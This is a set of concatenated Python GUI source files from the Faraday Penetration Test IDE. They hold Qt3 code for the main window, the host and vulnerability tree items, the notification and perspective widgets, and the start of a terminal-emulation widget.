313 Sets up the main toolbar
314 """
315 self._actions["new_shell"].addTo(self.main_toolbar)
316 self._actions["toggle-hosttree"].addTo(self.main_toolbar)
317 self._actions["toggle-logconsole"].addTo(self.main_toolbar)
318 self._actions["maximize-shell"].addTo(self.main_toolbar)
319
320 self._actions["clear-hosttree"].addTo(self.main_toolbar)
321 self._actions["repo-config"].addTo(self.main_toolbar)
322 self._actions["visualization"].addTo(self.main_toolbar)
323 self._actions["plugin"].addTo(self.main_toolbar)
324 self._actions["screenshot"].addTo(self.main_toolbar)
325 self._actions["sfont"].addTo(self.main_toolbar)
326 self._actions["bfont"].addTo(self.main_toolbar)
327 if CONF.getDebugStatus():
328 self._actions["debug"].addTo(self.main_toolbar)
329
330 def setFilter(self):
331 value = self.location_toolbar.getSelectedValue()
332 self._hosts_treeview.filterTree(value)
333 self.location_toolbar.addFilter(value)
334
335 def showAll(self):
336
337 self.show()
338
339 self.main_toolbar.show()
340 self.location_toolbar.show()
341
342 self._tab_manager.show()
343
344 self._perspective_manager.show()
345
346
347 self._hosts_treeview.show()
348
349 self._log_console.show()
350
351 for shell_widget in self._shell_widgets:
352 shell_widget.show()
353
354 def addShell(self, shell_widget):
355 self._shell_widgets.append(shell_widget)
356
357
358 self._tab_manager.addView(shell_widget)
359 shell_widget.show()
360 shell_widget.setFocus()
361
362 def createShellTab(self):
363
364 tab_name = "Shell-%d" % self._tab_manager.getNextId()
365 self._main_app.createShellEnvironment(tab_name)
366
367 def destroyShellTab(self):
368
369
370 tabmanager = self.getTabManager()
371 if tabmanager.count() == 1:
372 self.exitFaraday()
373 else:
374 index = tabmanager.currentPageIndex()
375 name = tabmanager.label(index)
376 self._main_app.deleteShellEnvironment(str(name))
377
378
379 def imIncomplete(self):
380 model.api.log("This function is not implemented yet")
381
382
383
384
385
386
387
388
389
390
391 def _copy(self):
392 None
393
394 def _paste(self):
395
396
397 text = qt.QApplication.clipboard().text()
398 if not text.isEmpty():
399 text.replace(qt.QRegExp("\n"), "\r")
400 ev = qt.QKeyEvent(qt.QEvent.KeyPress, 0, -1, 0, text)
401 shell = self.getShellWithFocus()
402 if shell:
403 shell.myemit('keyPressedSignal', (ev,))
404 shell.myemit('clearSelectionSignal')
405 qt.QApplication.clipboard().setSelectionMode(False)
406
407 def _importWorkspace(self):
408 model.api.showPopup("Be careful that importing could overwrite existing files", level="Warning")
409 wm = self._main_app.getWorkspaceManager()
410 mwin = self._main_app.getMainWindow()
411
412 filename = QFileDialog.getOpenFileName(
413 "$HOME/.faraday",
414 "Faraday export file (*.faraday)",
415 None,
416 "import file dialog",
417 "Choose a file to import" );
418 if filename and filename is not None:
419 model.api.log("Import function %s/ %s" % (CONF.getPersistencePath(),filename))
420
421
422
423 api.importWorskpace("%s/" % CONF.getPersistencePath(), filename)
424
425 wm.loadWorkspaces()
426 w = wm.getActiveWorkspace()
427 wm.setActiveWorkspace(w)
428
429
430 mwin.getWorkspaceTreeView().loadAllWorkspaces()
431
432 def _exportWorkspace(self):
433 filename = QFileDialog.getSaveFileName(
434 "/tmp",
435 "Faraday export file (*.faraday)",
436 None,
437 "save file dialog",
438 "Choose a file to save the export" );
439 if filename and filename is not None:
440 model.api.log("Export function %s" % filename)
441 api.exportWorskpace("%s/" % CONF.getPersistencePath(), "%s.faraday" % filename)
442
443
444 def getTabManager(self):
445 return self._tab_manager
446
447 def getLogConsole(self):
448 return self._log_console
449
450 def getHostTreeView(self):
451 return self._hosts_treeview
452
453 def getWorkspaceTreeView(self):
454 return self._workspaces_treeview
455
456 def refreshWorkspaceTreeView(self):
457 self._workspaces_treeview.loadAllWorkspaces()
458
459 def _showAboutDialog(self):
460 about = AboutDialog(self)
461 about.exec_loop()
462
463 def _showConfigDialog(self):
464 config_dialog = ConfigDialog(self)
465 config_dialog.exec_loop()
466
467
468
469
470
471
472 def showExceptionDialog(self, text="", callback=None , excection_objects=None):
473 exc_dialog = ExceptionDialog(self, text, callback, excection_objects)
474 return exc_dialog.exec_loop()
475
476 def showSimpleDialog(self, text, type="Information"):
477 dialog = SimpleDialog(self, text, type)
478 return dialog.exec_loop()
479
480 def showPluginSettingsDialog(self, type="Information"):
481 dialog = PluginSettingsDialog(self, self._main_app.plugin_manager)
482 return dialog.exec_loop()
483
484 def showDebugPersistenceDialog(self, text, type="Information"):
485 dialog = DebugPersistenceDialog(self)
486 return dialog.exec_loop()
487
488 def showPopup(self, text, type="Information"):
489 message = "<b>%s:</b>\n%s" % (type, text)
490 notification = NotificationWidget(self, message)
491 notification.show()
492 qt.QTimer.singleShot(4000, notification.closeNotification)
493
494 def doLogin(self, callback=None):
495
496
497 login_dialog = LoginDialog(self, callback)
498 result_code = login_dialog.exec_loop()
499
500
501 if result_code == qt.QDialog.Rejected:
502 return None,None
503 else:
504 return login_dialog.getData()
505
506 def showLoggedUser(self, username):
507 self._status_bar_widgets["username"].setText("Logged user: %s" % username)
508
509 def _showRepositoryConfigDialog(self):
510
511 repoconfig_dialog = RepositoryConfigDialog(self, CONF.getCouchURI(),
512 CONF.getCouchIsReplicated(),
513 CONF.getCouchReplics(),
514 callback=None)
515 result = repoconfig_dialog.exec_loop()
516 if result == qt.QDialog.Accepted:
517 repourl, isReplicated, replics = repoconfig_dialog.getData()
518 api.devlog("repourl = %s" % repourl)
519 wm = self._main_app.getWorkspaceManager()
520 if not CouchDbManager.testCouch(repourl):
521 self.showPopup("""
522 Repository URL Not valid, check if
523 service is available and that connection string is from
524 the form: http[s]://hostname:port""")
525 return
526
527 CONF.setCouchUri(repourl)
528 CONF.setCouchIsReplicated(isReplicated)
529 CONF.setCouchReplics(replics)
530 CONF.saveConfig()
531
532 wm.closeWorkspace()
533 wm.resource()
534 wm.openWorkspace('untitled')
535
536 mwin = self._main_app.getMainWindow()
537 mwin.getWorkspaceTreeView().loadAllWorkspaces()
538 mwin.getWorkspaceTreeView().setDefaultWorkspace()
539
540 def showConflictsDialog(self, local):
541 dialog = ResolveConflictsDialog(self, local=local)
542 result = dialog.exec_loop()
543 return result
544
545 def customEvent(self, event):
546 """
547 This method is to be able to handle custom events in order
548 to show custom dialogs or pop ups
549 """
550 if event.type() == EXCEPTION_ID:
551 self.showExceptionDialog(event.text, event.callback, event.exception_objects)
552 elif event.type() == SHOWDIALOG_ID:
553 self.showSimpleDialog(event.text, event.level)
554 elif event.type() == SHOWPOPUP_ID:
555 self.showPopup(event.text, event.level)
556 elif event.type() == CONFLICTS_ID:
557 self.showConflictsDialog(event.local)
558 elif event.type() == CHANGEFROMINSTANCE:
559 self.newNotification(event.change)
560
561 def update(self, event):
562 if event.type() == EXCEPTION_ID:
563 self.showExceptionDialog(event.text, event.callback, event.exception_objects)
564 elif event.type() == SHOWDIALOG_ID:
565 self.showSimpleDialog(event.text, event.level)
566 elif event.type() == SHOWPOPUP_ID:
567 self.showPopup(event.text, event.level)
568 elif event.type() == CONFLICTS_ID:
569 self.showConflictsDialog(event.local)
570
571 def newNotification(self, change):
572 button = self._status_bar_widgets["notifications"]
573 button.setText(str(int(button.text()) + 1))
574 button.setPaletteBackgroundColor(qt.QColor(180, 0, 0))
575 self._notifications.append(change)
576
577 def showNotifications(self):
578 button = self._status_bar_widgets["notifications"]
579 button.setText("0")
580 button.setPaletteBackgroundColor(self.paletteBackgroundColor())
581 dialog = NotificationsDialog(self, self._notifications)
582 dialog.exec_loop()
583 self._notifications[:] = []
584
585 def toggleLogConsole(self):
586 if self._log_console.isVisible():
587 self._log_console.hide()
588 else:
589 self._log_console.show()
590 if self._is_shell_maximized:
591 self._actions["maximize-shell"].toggle()
592 self._is_shell_maximized = False
593
594 def togglePerspectives(self):
595 if self._perspective_manager.isVisible():
596 self._perspective_manager.hide()
597 else:
598 self._perspective_manager.show()
599 if self._is_shell_maximized:
600 self._actions["maximize-shell"].toggle()
601 self._is_shell_maximized = False
602
603 def maximizeShell(self):
604
605
606
607 if self._is_shell_maximized:
608 self._is_shell_maximized = False
609 if not self._log_console.isVisible():
610 self.toggleLogConsole()
611 self._actions["toggle-logconsole"].toggle()
612 if not self._perspective_manager.isVisible():
613 self.togglePerspectives()
614 self._actions["toggle-hosttree"].toggle()
615 else:
616 self._is_shell_maximized = True
617 if self._log_console.isVisible():
618 self.toggleLogConsole()
619 self._actions["toggle-logconsole"].toggle()
620
621 if self._hosts_treeview.isVisible():
622 self.togglePerspectives()
623 self._actions["toggle-hosttree"].toggle()
624
625 def changeShellFont(self):
626 preferences_dialog = PreferencesDialog(self)
627 if preferences_dialog.exec_loop():
628 self.setShellFont()
629 CONF.setFont(self.shell_font.rawName())
630 CONF.saveConfig()
631
632 def setBfont(self):
633 if (self._size+1) < len(self._sizes):
634 self._size=self._size+1
635 self.setShellFont()
636
637 def setSfont(self):
638 if (self._size-1) > -1:
639 self._size=self._size-1
640 self.setShellFont()
641
642 def getShellWithFocus(self):
643 for shell in self._shell_widgets:
644 if shell.hasFocus():
645 return shell
646 return None
647
648 def setShellFont(self):
649 self.shell_font=qt.QFont()
650 CONF.setFont("-Misc-Fixed-medium-r-normal-*-"+str(self._sizes[self._size])+"-100-100-100-c-70-iso8859-1")
651 CONF.saveConfig()
652 self.shell_font.setRawName(CONF.getFont())
653
654 for shell in self._shell_widgets:
655 shell.setVTFont(self.shell_font)
656
657 def runVisualization(self):
658 """
659 runs script that builds the html for visutalizacion and opens a browser
660 """
661 base_uri = str(CONF.getCouchURI())
662 current_workspace = str(CONF.getLastWorkspace())
663 uri = base_uri + "/reports/_design/reports/index.html#"+current_workspace
664 import requests
665 try:
666 response = requests.head(uri)
667 res = response.ok
668 except:
669 res = False
670 return notification_center.showDialog(
671 "Error trying to connect couchdb.\nIn order to see the visualizations you should have couchdb started.",
672 level="ERROR")
673 if res:
674 webbrowser.open_new(uri)
675
676 def go2Website(self):
677
678 webbrowser.open_new("https://www.faradaysec.com")
679 model.api.log("Opening faraday's website")
680
681 def closeEvent(self, e):
682 result = self.exitFaraday()
683 if result == qt.QDialog.Accepted:
684 e.accept()
685
686 def exitFaraday(self):
687 result = model.api.getConflicts()
688 msg = "Are you sure?"
689 if result:
690 msg = "You have pending conflicts\nAre you sure you want to exit and discard them ?"
691
692 exit_dialog = ExitDialog(self, self._main_app.quit, msg=msg)
693 return exit_dialog.exec_loop()
694
695 def doDebug(self):
696 exit_dialog = MessageDialog(self, self.__debug,"Debug", "Faraday use IPython for debuging, please switch to terminal\n where do you execute the framework, use Ctrl+D to exit debug.\nDo you want to continue?" )
697 return exit_dialog.exec_loop()
698
699 def __debug(self, item=False):
700 from utils import ipython_shell
701 ipython_shell.embedd(locals(), globals())
702
703 def takeScreenshot(self):
704 view = self._tab_manager.activeWindow()
705 ts = datetime.datetime.now().strftime("%Y%m%d%H%M%s")
706 pixmap = qt.QPixmap.grabWidget(view)
707 pixmap.save(os.path.join(CONF.getDefaultTempPath(), "shell_capture_%s.png" % ts), "PNG")
708 pixmap = qt.QPixmap.grabWidget(self)
709 pixmap.save(os.path.join(CONF.getDefaultTempPath(), "fullscreen_capture_%s.png" % ts), "PNG")
710 model.api.log("Screenshots taken")
711
712 def createWorkspace(self):
713
714 wdialog = WorkspaceCreationDialog(self, callback=self._main_app.createWorkspace, workspace_manager=self._main_app.getWorkspaceManager())
715
716 wdialog.exec_loop()
717
718
719 def openWorkspace(self):
720
721
722 name = "Untitled"
723 self._main_app.openWorkspace(name)
724
725 """
726 #XXX: test ALT+r on console to delete line
727 def test2(self):
728 for env in self._main_app._shell_envs.itervalues():
729 env.session.em.sendString("\033r")
730 """
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import os
7 import qt
8 import model.api as api
9 from edition import HostEditor, ServiceEditor, InterfaceEditor, GenericEditor, NoteEditor
10
11 from config.configuration import getInstanceConfiguration
12 CONF = getInstanceConfiguration()
13
14 class ModelObjectListViewItem(qt.QListViewItem):
15 """Item for displaying in the HostsBrowser."""
16
17
18 def __init__(self, qtparent, name = "", model_object=None):
19 qt.QListViewItem.__init__(self, qtparent)
20
21 self.setRenameEnabled(0, False)
22 self.index = 0
23 self.object = model_object
24 self.name = name if name else model_object.getName()
25 self._childs = {}
26 self.setDragEnabled(False)
27 self.setDropEnabled(False)
28 self._setIcon()
29 self._populateChildItems()
30 self._checkVulns()
31 self.editor = GenericEditor(None)
32
33 def getChilds(self):
34 return self._childs
35
36 def getChild(self, key):
37 return self._childs[key]
38
39 def addChild(self, key, val):
40 self._childs[key] = val
41
42 def addHost(self, host):
43 self.addChild(host.getID(), HostListViewItem(self, host.getName(), host))
44
45 def addInterface(self, interface):
46 self.addChild(interface.getID(), InterfaceListViewItem(self, interface.getName(), interface))
47
48 def addInterfaces(self):
49 for interface in self.object.getAllInterfaces():
50 self.addInterface(interface)
51
52 def addApplication(self, application):
53 self.addChild(application.getID(), ApplicationListViewItem(self, application.getName(), application))
54
55 def addApplications(self):
56 for application in self.object.getAllApplications():
57 self.addApplication(application)
58
59 def addService(self, service):
60 self.addChild(service.getID(), ServiceListViewItem(self, service.getName(), service))
61
62 def addServices(self):
63 for service in self.object.getAllServices():
64 self.addService(service)
65
66 def addNote(self, note):
67 self.addChild(note.getID(), NoteListViewItem(self, note.name, note))
68
69 def addNotes(self):
70 for note in self.object.getNotes():
71 self.addNote(note)
72
73 def addVuln(self, vuln):
74 if vuln.class_signature == "VulnerabilityWeb":
75 self.addChild(vuln.getID(), VulnWebListViewItem(self, vuln.name, vuln))
76 else:
77 self.addChild(vuln.getID(), VulnListViewItem(self, vuln.name, vuln))
78
79 def addVulns(self):
80 for vuln in self.object.getVulns():
81 self.addVuln(vuln)
82
83 def addCred(self, cred):
84 self.addChild(cred.getID(), CredListViewItem(self, cred.name, cred))
85
86 def addCreds(self):
87 for cred in self.object.getCreds():
88 self.addCred(cred)
89
90 def clear(self):
91 i = self.firstChild()
92 items_to_remove = []
93 while i is not None:
94 items_to_remove.append(i)
95 i = i.nextSibling()
96 for i in items_to_remove:
97 item = i
98 i.clear()
99 del i
100 try:
101 self.takeItem(item)
102 except:
103 pass
104 self._childs.clear()
105
106 def getContextMenu(self):
107 pass
108
109 def _setIcon(self):
110
111
112
113 owned = self.object.isOwned() if self.object is not None else False
114 icon_name = "Tree%sOwned-20.png" % self.type if owned else "Tree%s-20.png" % self.type
115
116
117 if self.type == "Service" and not owned:
118 if self.object.getStatus() !="open":
119 icon_name = "TreeOff%s-20.png" % self.type
120
121
122 icon_path = os.path.join(CONF.getIconsPath(), icon_name)
123
124 pm = qt.QPixmap(icon_path)
125 self.setPixmap(0, pm)
126
127 def _checkVulns(self):
128 """
129 Verifies if the item has vulnerabilities
130 and shows it different with details
131 """
132 if self.object is not None:
133 madd=[]
134 vulns = self.object.getVulns()
135 if vulns:
136 madd.append("v:"+str(len(vulns)))
137 notes = self.object.getNotes()
138 if notes:
139 madd.append("n:"+str(len(notes)))
140 creds = self.object.getCreds()
141 if creds:
142 madd.append("c:"+str(len(creds)))
143 if madd:
144 newname=""
145 if self.type == "Service":
146 newname = "(%s/%s) %s [%s]" % (", ".join(["%s" % p for p in self.object.getPorts()]),
147 self.object.getProtocol(), self.object.name, ",".join(madd))
148 else:
149 newname = "%s [%s]" % (self.object.name, ",".join(madd))
150 self.name = newname
151
152
153
154 def _populateChildItems(self):
155 """
156 this creates new children items if needed
157 to populate the tree
158 depending on the item type this can create different items
159 """
160 pass
161
162
163
164
165 def dragEntered(self):
166 pass
167
168 def dragLeft(self):
169 pass
170
171 def dropped(self, e):
172
173 pass
174
175 def setText(self, col, text):
176 """Update name of widget if rename is called."""
177
178 if col == 0:
179 self.name = text
180
181 qt.QListViewItem.setText(self, col, text)
182
183 def rename(self):
184 """Rename the listviewitem."""
185 self.startRename(0)
186
187
188
189 def compare(self, i, col, ascending):
190 """
191 #Always sort according to the index value.
192
193 a = [-1, 1][ascending]
194
195 if self.index < i.index:
196 return -1*a
197 elif self.index > i.index:
198 return 1*a
199 else:
200 return 0
201 """
202 a = [-1, 1][ascending]
203
204 if self.name < i.name:
205 return -1*a
206 elif self.name > i.name:
207 return 1*a
208 else:
209 return 0
210
211 def text(self, column):
212 """Get the text in a particular column."""
213 if column == 0:
214 return self.name
215 return ''
216
217 def getModelObject(self):
218 return self.object
219
220 def setModelObject(self, model_object):
221 self.object = model_object
222
223
224
225
226
227 def getEditor(self):
228 return self.editor
229
230
231 class RootListViewItem(ModelObjectListViewItem):
232 type = "Root"
233 def __init__(self, qtparent, name = "", model_object=None):
234 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
235
236 class WorkspaceListViewItem(ModelObjectListViewItem):
237 type = "Workspace"
238 def __init__(self, qtparent, workspace=None, model_object=None):
239 ModelObjectListViewItem.__init__(self, qtparent, workspace.name, model_object)
240 self.nconflicts = 0
241 self.setOpen(True)
242 self.workspace_name = "%s" % self.name
243
244 def _checkVulns(self):
245 pass
246
247 def _setIcon(self):
248 if self.object == "CouchDB":
249 icon_name = "TreeRoot-20.png"
250 else:
251 icon_name = "TreeOffRoot-20.png"
252 icon_path = os.path.join(CONF.getIconsPath(), icon_name)
253 pm = qt.QPixmap(icon_path)
254 self.setPixmap(0, pm)
255
256 def updateName(self, nconflicts):
257 self.nconflicts += nconflicts
258 if self.nconflicts:
259 text = "%s (%s)" % (self.workspace_name, self.nconflicts)
260 else:
261 text = "%s" % (self.workspace_name)
262 self.setText(0, text)
263
264
265 class CategoryListViewItem(ModelObjectListViewItem):
266 type = "Category"
267 def __init__(self, qtparent, name = "", model_object=None):
268 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
269 self.setDropEnabled(True)
270
271 def selectByWord(self, word):
272 for host_item in self.getChilds().values():
273 if host_item.text(0).encode('utf8').strip() == word.strip():
274 self.setSelected(True)
275 break
276
277
278 class HostListViewItem(ModelObjectListViewItem):
279 type = "Host"
280 def __init__(self, qtparent, name = "", model_object=None):
281 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
282
283
284 self.setDragEnabled(True)
285 self.editor = HostEditor(self.object)
286
287 def _populateChildItems(self):
288
289
290
291
292
293
294
295 self.addInterfaces()
296
297
298
299
300
301
302 def _clearHost(self):
303 self.clear()
304
305
306
307
308
309
310 def _clearServicesFromApplications(self):
311 for item in self._childs:
312 if item.name == "Applications":
313 for app in item._childs:
314 app.clearServices()
315
316 def _addServicesToApplications(self):
317 for item in self._childs:
318 if item.name == "Applications":
319 for app in item._childs:
320 app._populateChildItems()
321
322 def _clearServicesFromInterfaces(self):
323 for item in self._childs:
324 if item.name == "Interfaces":
325 for interface in item._childs:
326 interface.clearServices()
327
328 def _addServicesToInterfaces(self):
329 for item in self._childs:
330 if item.name == "Interfaces":
331 for interface in item._childs:
332 interface._populateChildItems()
333
334 def _setIcon(self):
335 owned = self.object.isOwned() if self.object is not None else False
336 if owned:
337 icon_name = "User%sOwned.png" % self.type
338 else:
339 _oper = self.object.getOS()
340 if "LINUX" in _oper.upper():
341 icon_name = "tux.png"
342 elif "WINDOWS" in _oper.upper():
343 icon_name = "windows.png"
344 elif "APPLE" in _oper.upper():
345 icon_name = "Apple.png"
346 elif "MAC" in _oper.upper():
347 icon_name = "Apple.png"
348 elif "CISCO" in _oper.upper():
349 icon_name = "Cisco.png"
350 elif "IOS" in _oper.upper():
351 icon_name = "Cisco.png"
352 elif "LINKSYS" in _oper.upper():
353 icon_name = "Router.png"
354 elif "ROUTER" in _oper.upper():
355 icon_name = "Router.png"
356 else:
357 icon_name = "Tree%s-20.png" % self.type
358
359
360 icon_path = os.path.join(CONF.getIconsPath(), icon_name)
361 pm = qt.QPixmap(icon_path)
362 self.setPixmap(0, pm)
363
364
365
366 class InterfaceListViewItem(ModelObjectListViewItem):
367 type = "Interface"
368 def __init__(self, qtparent, name = "", model_object=None):
369 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
370 self.editor = InterfaceEditor(self.object)
371
372 def _populateChildItems(self):
373
374 self.addServices()
375
376 def clearServices(self):
377 for s in self._childs:
378 self.takeItem(s)
379
380 self._childs = []
381
382
383 class ApplicationListViewItem(ModelObjectListViewItem):
384 type = "Application"
385 def __init__(self, qtparent, name = "", model_object=None):
386 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
387
388 def _populateChildItems(self):
389
390 self.addServices()
391
392 def clearServices(self):
393 for s in self._childs:
394 self.takeItem(s)
395
396 self._childs = []
397
398
399 class ServiceListViewItem(ModelObjectListViewItem):
400 type = "Service"
401 def __init__(self, qtparent, name = "", model_object=None):
402 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
403 self.name = "(%s/%s) %s" % (", ".join(["%s" % p for p in self.object.getPorts()]),
404 self.object.getProtocol(), self.object.name )
405 self.editor = ServiceEditor(self.object)
406 self._checkVulns()
407
408
409
410 class NoteRootItem(RootListViewItem):
411 type = "NoteRoot"
412 def __init__(self, qtparent, name = "", model_object=None):
413 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
414 self.name = self.object.name
415 self.setOpen(True)
416
417 def _setIcon(self):
418 pass
419
420 class NoteListViewItem(ModelObjectListViewItem):
421 type = "Note"
422 def __init__(self, qtparent, name = "", model_object=None):
423 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
424
425 def _populateChildItems(self):
426 self.addNotes()
427
428 def clearNotes(self):
429 for s in self._childs:
430 self.takeItem(s)
431
432 self._childs = []
433
434 class VulnRootItem(RootListViewItem):
435 type = "VulnRoot"
436 def __init__(self, qtparent, name = "", model_object=None):
437 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
438 self.name = self.object.name
439 self.setOpen(True)
440
441 def _setIcon(self):
442 pass
443
444 class VulnListViewItem(ModelObjectListViewItem):
445 type = "Vuln"
446 def __init__(self, qtparent, name = "", model_object=None):
447 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
448
449 def _populateChildItems(self):
450 self.addVulns()
451
452 def clearVulns(self):
453 for s in self._childs:
454 self.takeItem(s)
455
456 self._childs = []
457
458 class VulnWebListViewItem(VulnListViewItem):
459 type = "VulnWeb"
460 def __init__(self, qtparent, name = "", model_object=None):
461 VulnListViewItem.__init__(self, qtparent, name, model_object)
462
463 class CredRootItem(RootListViewItem):
464 type = "CredRoot"
465 def __init__(self, qtparent, name = "", model_object=None):
466 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
467 self.name = self.object.name
468 self.setOpen(True)
469
470 def _setIcon(self):
471 pass
472
473 class CredListViewItem(ModelObjectListViewItem):
474 type = "Cred"
475 def __init__(self, qtparent, name = "", model_object=None):
476 ModelObjectListViewItem.__init__(self, qtparent, name, model_object)
477 self.name = "%s: %s" % (model_object.username, model_object.password)
478
479 def _populateChildItems(self):
480 self.addCreds()
481
482 def clearVulns(self):
483 for s in self._childs:
484 self.takeItem(s)
485
486 self._childs = []
487
488
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 import qt
8
9
10 class NotificationsDialog(qt.QDialog):
11 def __init__(self, parent, notifications, modal=True):
12 qt.QDialog.__init__(self, parent, "Notifications", modal)
13 self.layout = qt.QVBoxLayout(self, 0, 1, "layout")
14 self.layout.addWidget(NotificationsList(self, notifications))
15
16 def sizeHint(self):
17 return qt.QSize(300, 500)
18
19
20 class NotificationsList(qt.QListView):
21 def __init__(self, parent, notifications):
22 qt.QListView.__init__(self, parent)
23 self.addColumn("New notifications")
24 self.setColumnWidthMode(0, qt.QListView.Maximum)
25 for n in notifications:
26 notif_item = qt.QListViewItem(self)
27 notif_item.setText(0, qt.QString(n.getMessage()))
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import qt
9 from gui.qt3.toolbars import PerspectiveToolbar
10 import model.api
11
12 class PerspectiveManager(qt.QVBox):
13
14 def __init__(self, parent, main_app):
15 qt.QVBox.__init__(self, parent)
16 self.setName("PerspectiveManager")
17 self.setSpacing(5)
18 self.setFrameStyle(qt.QFrame.PopupPanel | qt.QFrame.Plain)
19 self._main_app = main_app
20 self._active_perspective = None
21 self._default = ""
22 self._registered = {}
23 self._toolbar = PerspectiveToolbar(self, "perspective_toolbar")
24 self.setStretchFactor(self._toolbar, 0)
25 self._stack_panel = qt.QWidgetStack(self)
26 self._stack_panel.setFrameStyle(qt.QFrame.PopupPanel | qt.QFrame.Plain)
27 self.setStretchFactor(self._stack_panel, 10)
28
29 def _isValid(self, p):
30
31 return p.parent() == self
32
33 def registerPerspective(self, p, default=False):
34 if self._isValid(p):
35 self._stack_panel.addWidget(p)
36 if p.name() not in self._registered:
37 self._registered[p.name()] = p
38
39 p.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
40 self._toolbar.addPerspective(p.name())
41 if default:
42 self._default = p.name()
43 self.setActivePerspective(p.name())
44
45 def getActivePerspective(self):
46 return self._active_perspective
47
48 def setActivePerspective(self, name):
49 if isinstance(name, int):
50 name = self._toolbar.getSelectedValue()
51
52 model.api.devlog("setActivePerspective called - name = " + name)
53
54
55 if name in self._registered:
56 self._active_perspective = self._registered[name]
57 if name == "Workspaces":
58 self._active_perspective.loadAllWorkspaces()
59 self._stack_panel.raiseWidget(self._active_perspective)
60
61 def showDefaultPerspective(self):
62 self.setActivePerspective(self._default)
63
64 def getToolbar(self):
65 return self._toolbar
66
67 def sizeHint(self):
68 return qt.QSize(70, 0)
69
70 def getMainApp(self):
71 return self._main_app
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """ Provide the Widget class.
9
10 Visible screen contents
11
12 This class is responsible to map the `image' of a terminal emulation to the
13 display. All the dependency of the emulation to a specific GUI or toolkit is
14 localized here. Further, this widget has no knowledge about being part of an
15 emulation, it simply work within the terminal emulation framework by exposing
16 size and key events and by being ordered to show a new image.
17
18 - The internal image has the size of the widget (evtl. rounded up)
19 - The external image used in setImage can have any size.
20 - (internally) the external image is simply copied to the internal
21 when a setImage happens. During a resizeEvent no painting is done
22 a paintEvent is expected to follow anyway.
23
24 FIXME:
25 - 'image' may also be used uninitialized (it isn't in fact) in resizeEvent
26 - 'font_a' not used in mouse events
27
28 TODO
29 - evtl. be sensitive to `paletteChange' while using default colors.
30 - set different 'rounding' styles? I.e. have a mode to show clipped chars?
31
32 Based on the konsole code from Lars Doelle.
33
34 @author: Lars Doelle
35 @author: Benjamin Longuet
36 @author: Frederic Mantegazza
37 @author: Cyrille Boullier
38 @author: Sylvain Thenault
39 @copyright: 2003, 2005-2006
40 @organization: CEA-Grenoble
41 @organization: Logilab
42 @license: CeCILL
43 """
44
45 __revision__ = '$Id: widget.py,v 1.40 2006-02-15 10:24:01 alf Exp $'
46 #-------------------------------------------------------------------------------
47 import qt
48 import model.api as api
49 from config.configuration import getInstanceConfiguration
50 CONF = getInstanceConfiguration()
51 from shell.core import signalable
52 from shell.core.ca import DCA, RE_CURSOR, RE_BLINK, RE_UNDERLINE, \
53 TABLE_COLORS, DEFAULT_BACK_COLOR, ColorEntry
54
55 from model.common import TreeWordsTries
56 # FIXME: the rim should normally be 1, 0 only when running in full screen mode.
57 rimX = 0 # left/right rim width
58 rimY = 0 # top/bottom rim high
59
60 # width of the scrollbar
61 SCRWIDTH = 16
62
63 SCRNONE = 0
64 SCRLEFT = 1
65 SCRRIGHT = 2
66
67 # scroll increment used when dragging selection at top/bottom of window.
68 Y_MOUSE_SCROLL = 1
69
70 BELLNONE = 0
71 BELLSYSTEM = 1
72 BELLVISUAL = 2
73
74 #extern unsigned short vt100_graphics[32]
75
76 # Dnd
77 diNone = 0
78 diPending = 1
79 diDragging = 2
80
81
82 class dragInfo:
83 """uninstantiable class used to handle drag and drop status"""
84 state = None
85 start = None
86 dragObject = None
87
88 # Colors ######################################################################
89
90 #FIXME: the default color table is in session.C now.
91 # We need a way to get rid of this one, here.
92 BASE_COLOR_TABLE = [
93 # The following are almost IBM standard color codes, with some slight
94 # gamma correction for the dim colors to compensate for bright X screens.
95 # It contains the 8 ansiterm/xterm colors in 2 intensities.
96 # Fixme: could add faint colors here, also.
97 # normal
98 ColorEntry(qt.QColor(0x00,0x00,0x00), 0, 0 ), ColorEntry( qt.QColor(0xB2,0xB2,0xB2), 1, 0 ), # Dfore, Dback
99 ColorEntry(qt.QColor(0x00,0x00,0x00), 0, 0 ), ColorEntry( qt.QColor(0xB2,0x18,0x18), 0, 0 ), # Black, Red
100 ColorEntry(qt.QColor(0x18,0xB2,0x18), 0, 0 ), ColorEntry( qt.QColor(0xB2,0x68,0x18), 0, 0 ), # Green, Yellow
101 ColorEntry(qt.QColor(0x18,0x18,0xB2), 0, 0 ), ColorEntry( qt.QColor(0xB2,0x18,0xB2), 0, 0 ), # Blue, Magenta
102 ColorEntry(qt.QColor(0x18,0xB2,0xB2), 0, 0 ), ColorEntry( qt.QColor(0xB2,0xB2,0xB2), 0, 0 ), # Cyan, White
103 # intensiv
